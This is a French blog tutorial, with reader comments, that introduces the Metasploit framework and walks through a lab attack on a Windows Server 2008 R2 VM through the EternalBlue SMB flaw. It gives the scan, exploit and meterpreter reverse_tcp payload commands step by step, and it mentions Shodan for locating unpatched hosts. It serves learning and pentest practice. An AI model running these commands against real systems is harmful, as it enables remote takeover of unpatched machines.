Pentest : Metasploit et faille EternalBlue

Pentest : Metasploit et faille EternalBlue

Depuis le temps que nous en parlions… ENFIN un article sur du pentest ! Aujourd’hui, introduction à Metasploit et petit test avec l’exploit EternalBlue !

Pendant cette fameuse période de confinement, j’en ai profité pour enfin me former un peu plus sur la sécurité informatique, notamment via des formations en ligne. J’avais parlé au mois de novembre que j’allais prochainement sortir quelques articles sur Kali Linux et le monde du Pentest, et bien c’est désormais chose faite ! Nous allons voir aujourd’hui ce qu’est Metasploit et comment l’utiliser pour prendre la main sur un Windows Server 2008 R2 via la faille EternalBlue.

Petit disclaimer, je ne suis en aucun cas un expert en cybersécurité ou autre, juste un administrateur système désireux d’en savoir plus 😉

I) Qu’est-ce que Metasploit ?

Metasploit est donc un framework écrit en Ruby et permettant d’automatiser/simplifier tout un tas de procédés en matière de hacking, au sens large. Scan de ports et prise d’informations, utilisation d’exploits et de payloads prêts à l’emploi, encodeurs permettant de rendre la tâche aux antivirus plus difficile, et j’en passe. C’est donc une véritable boîte à outils bien complète et permettant même l’ajout de différents modules pour plus de flexibilité, plutôt pas mal !

Avant tout, un peu de vocabulaire car sinon on risque de vite se perdre…

  • Exploit : Script/Programe conçu pour utiliser une faille présente dans un logiciel ou service ;
  • Payload : code qui sera exécuté sur la cible une fois celle-ci compromise via un exploit ;
  • Encoder : programme permettant de rendre plus difficilement détéctable les payloads ;

Un peu plus clair maintenant, non ? On poursuit.

II) Utiliser Metasploit

Il y a plusieurs moyens d’utiliser Metasploit, plusieurs interfaces comme on dit :

msfconsole : Console de base en ligne de commande, c’est celle la plus souvent utilisée ;

msfweb : Interface web, très peu utilisée ;

msfcli : Console en ligne de commande avancée, à utiliser si vous savez précisément quel exploit/payload utilisé ;

msfGUI : Interface graphique basique ;

Armitage : Logiciel graphique écrit en Java étant une surcouche à Metasploit, et simplifiant un maximum le pentest ;

Il en existe encore d’autres, mais le plus important est de connaître celles-ci, surtout pour débuter. Ici nous utiliserons l’interface la plus connue, c’est-à-dire msfconsole.

Bien, passons à la pratique ! Ici je suis sur une kali tout à fait classique, avec un kernel 5.4 et la version 5.0 de Metasploit :

Pour démarrer Metasploit, soit vous passez par Applications puis Outils d’exploitation, soit vous pouvez lancer le logiciel via la commande sudo service postgresql start && sudo msfconsole dans un terminal :

Comme on peut le voir, à l’heure où j’écris ces lignes, il y a près de 2000 exploits disponibles, 560 payloads, et 45 encodeurs différents… concernant les autres informations affichées, ça ne nous intéresse pas pour l’instant, nous les verrons peut être dans un futur article.

*Petite note: comme vous aurez pu le constater, il convient de démarrer Metasploit avec root pour éviter des soucis de permission par la suite, et démarrer le service postgresql avant pour pouvoir utiliser la BDD de Metasploit.

Pour vérifier si la liaison à la BDD est ok, on peut effectuer la commande db_status voir même msfdb init :

Niquel, on va donc pour commencer à s’amuser pour de bon ! Ici je prendrai comme machine cible une machine virtuelle sous Windows Server 2008 R2 avec comme adresse IP 192.168.1.50/24, et comme toujours dans ce genre d’article je vous rappelle de réaliser ces actions uniquement sur votre réseau local ou sur des machines vous appartenant, enfin vous connaissez les classiques…

Bien, ici je ne vais pas détailler les différentes manières de réaliser une attaque avec les préparatifs que cela incombe, on va rester au plus simple. Il faut donc commencer par réaliser un scan de notre cible, et ici deux chois s’offrent à nous grossièrement :

  • Soit via nmap, le logiciel de scan le plus connu, qui peut être démarré depuis metasploit directement au travers de la commande db_nmap et qui stockera donc les informations récoltées dans la BDD, mais qui peut facilement être repérable car il s’agit d’un scan actif, c’est-à-dire que notre machine va communiquer avec la cible ;
  • Soit via p0f, qui n’est pas intégré directement à Metasploit mais qui permet des scans passifs, dans le sens où notre machine va analyser les trames TCP/UDP transitant sur le réseau pour en déduire le type d’OS et les différents services tournant sur la cible. Ce type de scan est plus difficilement repérable mais aussi plus long à s’exécuter ;

Ici on se contentera donc du fameux nmap, et comme dit plus haut nous l’exécuterons comme ceci :

db_nmap -sV 192.168.1.50

Via cette commande, on va donc exécuter un scan sur notre cible et en spécifiant les arguments -s et -V nous allons activer la détection de l’OS client et des services tournants sur la machine cible ainsi qu’activer le mode verbeux. Sinon, on peut tout aussi bien lancer avec l’argument -A qui va rassembler un maximum d’informations sur la cible.

Bien, désormais toutes ces informations sont sauvegardées dans notre BDD, et nous pouvons revoir les hôtes en effectuant la commande hosts.

A partir de là on peut voir que le service SMB tournant sur le port 445 de notre cible est en écoute… et il s’avère qu’une faille critique et très connue est disponible, connue sous le nom d’EternalBlue. On peut vérifier si Metasploit contient bien cet exploit via la commande search EternalBlue :

Il est bien repertorié ! On va donc utiliser le module auxiliaire de Metasploit permettant les scans SMB, et particulièrement celui par rapport à ce fameux exploit :

use auxiliary/scanner/smb/smb_ms17_010

Au passage, pour ceux désirant en savoir plus sur cette fameuse faille, demandons à notre cher Wikipédia :

EternalBlue est un exploit développé par la NSA. Il est révélé et publié par le groupe de hackers The Shadow Brokers le 14 avril 2017. Cet exploit utilise une faille de sécurité présente dans la première version du protocole SMB (SMBv1). Bien que cette faille de sécurité ait déjà été résolue par Microsoft par une mise à jour de sécurité publiée le 14 mars 2017, de nombreux utilisateurs de Windows n’avaient toujours pas installé ce correctif de sécurité lorsque, le 12 mai 2017, le ransomware « WannaCry » utilise cette faille de sécurité pour se propager

Après ce petit apparté, on vérifie ensuite les différentes options qui s’offrent à nous via la commande show options :

Ici il nous suffirat de renseigner les variables RHOST et RPORT qui sont donc l’IP de la cible ainsi que le port 445 (qui est déjà pris en compte par défaut). Pour renseigner une valeur, il nous suffit donc d’effectuer la commande set RHOST 192.168.1.50 et de valider.

Si ensuite on effectue la commande run, on sera vite fixé si notre cible est vulnérable à cette faille ou non…

Bingo ! C’est bien le cas ! On va donc désormais faire la commande suivante pour cette fois utiliser l’exploit et non plus le scanner :

 use exploit/windows/smb/ms17_010_eternalblue

Ensuite on charge notre payload, c’est-à-dire pour rappel le code qui sera exécuté sur la machine cible pour en prendre le contrôle :

set payload windows/x64/meterpreter/reverse_tcp

Ici ce sera donc un shell en reverse_tcp, grossièrement ce sera donc une connexion initiée depuis la cible vers notre machine, à la différence d’un bind_shell où ce serait une liaison de notre machine vers la cible, ce qui est facilement détectable.

Ensuite, on vérifie les options demandées par le payload et il nous suffit donc de renseigner l’addresse IP puis tout sera bon !

Et bien oui mais non, il nous manque deux derniers paramètres, le processus qui sera infecté par notre payload et le LHOST… ici nous allons choisir le processus svchost.exe. J’avoue que je ne saurais pas trop vous expliquer ce que fait ce processus, il semblerait que ce soit un des processus les plus important du côté Windows et c’est celui généralement utilisé lors d’injection de payload.

Pour setup ce paramètre, il faudra utiliser la commande suivante :

set processname svchost.exe

Et enfin en dernier, le fameux LHOST qui est donc l’adresse IP de notre machine, qui signifie Listener Host :

set LHOST ip_de_votre_kali

A partir de là, on est vraiment bon ! En général il convient aussi de changer le LPORT, c’est-à-dire le port d’écoute sur notre machine, car le 4444 est très connu et donc facilement détéctable ici aussi.

On exécute ensuite le tout via la commande exploit qui est ma foi fort explicite, on patiente et…

.=.=.=.=-WIN-=.=.=.=.

Je pense que là aussi, c’est assez explicite ! L’exploit a fonctionné !

A partir de là on peut réaliser un peu tout ce que l’on veut, il suffit d’aller piocher ici. A noter que nous sommes

Comme on peut le voir ici, nous sommes bien connecté en Autorité NT Système (supérieur au compte Administrateur classique) sur la machine, et on peut donc télécharger, modifier, supprimer des fichiers, jouer avec la caméra/le micro, ou encore éteindre de force la machine…

En à peine 10 minutes, on aura donc réussi à prendre contrôle d’un serveur Windows 2008 R2 et ce, sans avoir recours à des techniques de phishing ou autre… plutôt effrayant/fascinant non ?

Bien entendu, comme dit avant, cette faille a été patchée depuis, enfin pour les machines étant à jour… mais si l’on se rend sur Shodan et cie on peut voir qu’il y a encore beaucoup de machines vulnérables dans le monde. J’avais aussi testé cet exploit sur un Windows 7 Pro et j’avais réussi à m’y connecté en Autorité NT Local, donc pas encore le St Graal, mais il existe plusieurs façons d’augmenter ses privilèges et là c’est le jackpot. De ce que j’ai lu, cette faille est aussi présente pour Windows 8 d’une certaine manière, prudence donc !

Et bien ceci conclut donc ce premier article sur le “Pentest” au sens large, encore une fois je ne suis pas un expert en cybersécurité et ceci était une première approche de Metasploit, qui est terriblement puissant. Je ferai sûrement d’autres articles sur Kali Linux étant donné que l’on me l’a beaucoup demandé 😉

Bonne journée/soirée à vous !

10 commentaires

comments user
gasbee

Je me permet d’ajouter deux highlights à ce tuto :

-“Metasploit est terriblement puissant.”

-“WIN”

😀

    comments user
    Mairien Anthony

    C’est tout ce qu’il faut en retenir assurément haha :p

comments user
Anonyme

Super intéressant, merci beaucoup de faire partagé ça, ça donne une bonne approche de la cybersécurité et ça me fais donc remarquer que la plupart des pc de mon lycée sont vulnérables à une vulnérabilité de 2017… Je vais donc grâce a vous pouvoir amélioré la sécurité, merci bien.

    comments user
    Mairien Anthony

    ‘tout de même attention à ce que tu fais haha, bien respecter le cadre légal, le mieux serait de contacter le principal/directeur/chef de l’IT de ton lycée car sans leur accord tu ne peux pas réaliser d’attaque de ce genre ;p

      comments user
      Anonyme

      Bonjour, bien sur c’était mon idée et elle a en effet fonctionné, on a donc passé tout les pc sur windows et renforcé le réseau, merci bien 🙂

comments user
Anonyme

Bonjour, serait-il possible de faire un article sur la faille webdav_dll_hijacker s’il vous plait ? Je ne trouvre pas beaucoup d’article aussi complet que les votres, merci.

    comments user
    Mairien Anthony

    Hello !

    Merci à toi pour le commentaire ! 🙂

    Je peux regarder à ça effectivement, même si j’ai un peu moins de temps ces derniers temps :s

    Cette faille date cependant d’il y a plusieurs années maintenant, non ?

      comments user
      Anonyme

      Bonjour, oui en effet, elle date un peut, mais je n’arrive pas a trouver des failles intéressante et d’actualité hormis les attaques par dictionnaire ou bruteforce. Si vous connaissais une faille intéressante, je veux bien que vous me la partagez si vous avez pas le temps pour en faire un article, merci.

comments user
Muller

un grand merci à toi.

    comments user
    Mairien Anthony

    Merci à toi pour ton commentaire ! 🙂

Laisser un commentaire

You May Have Missed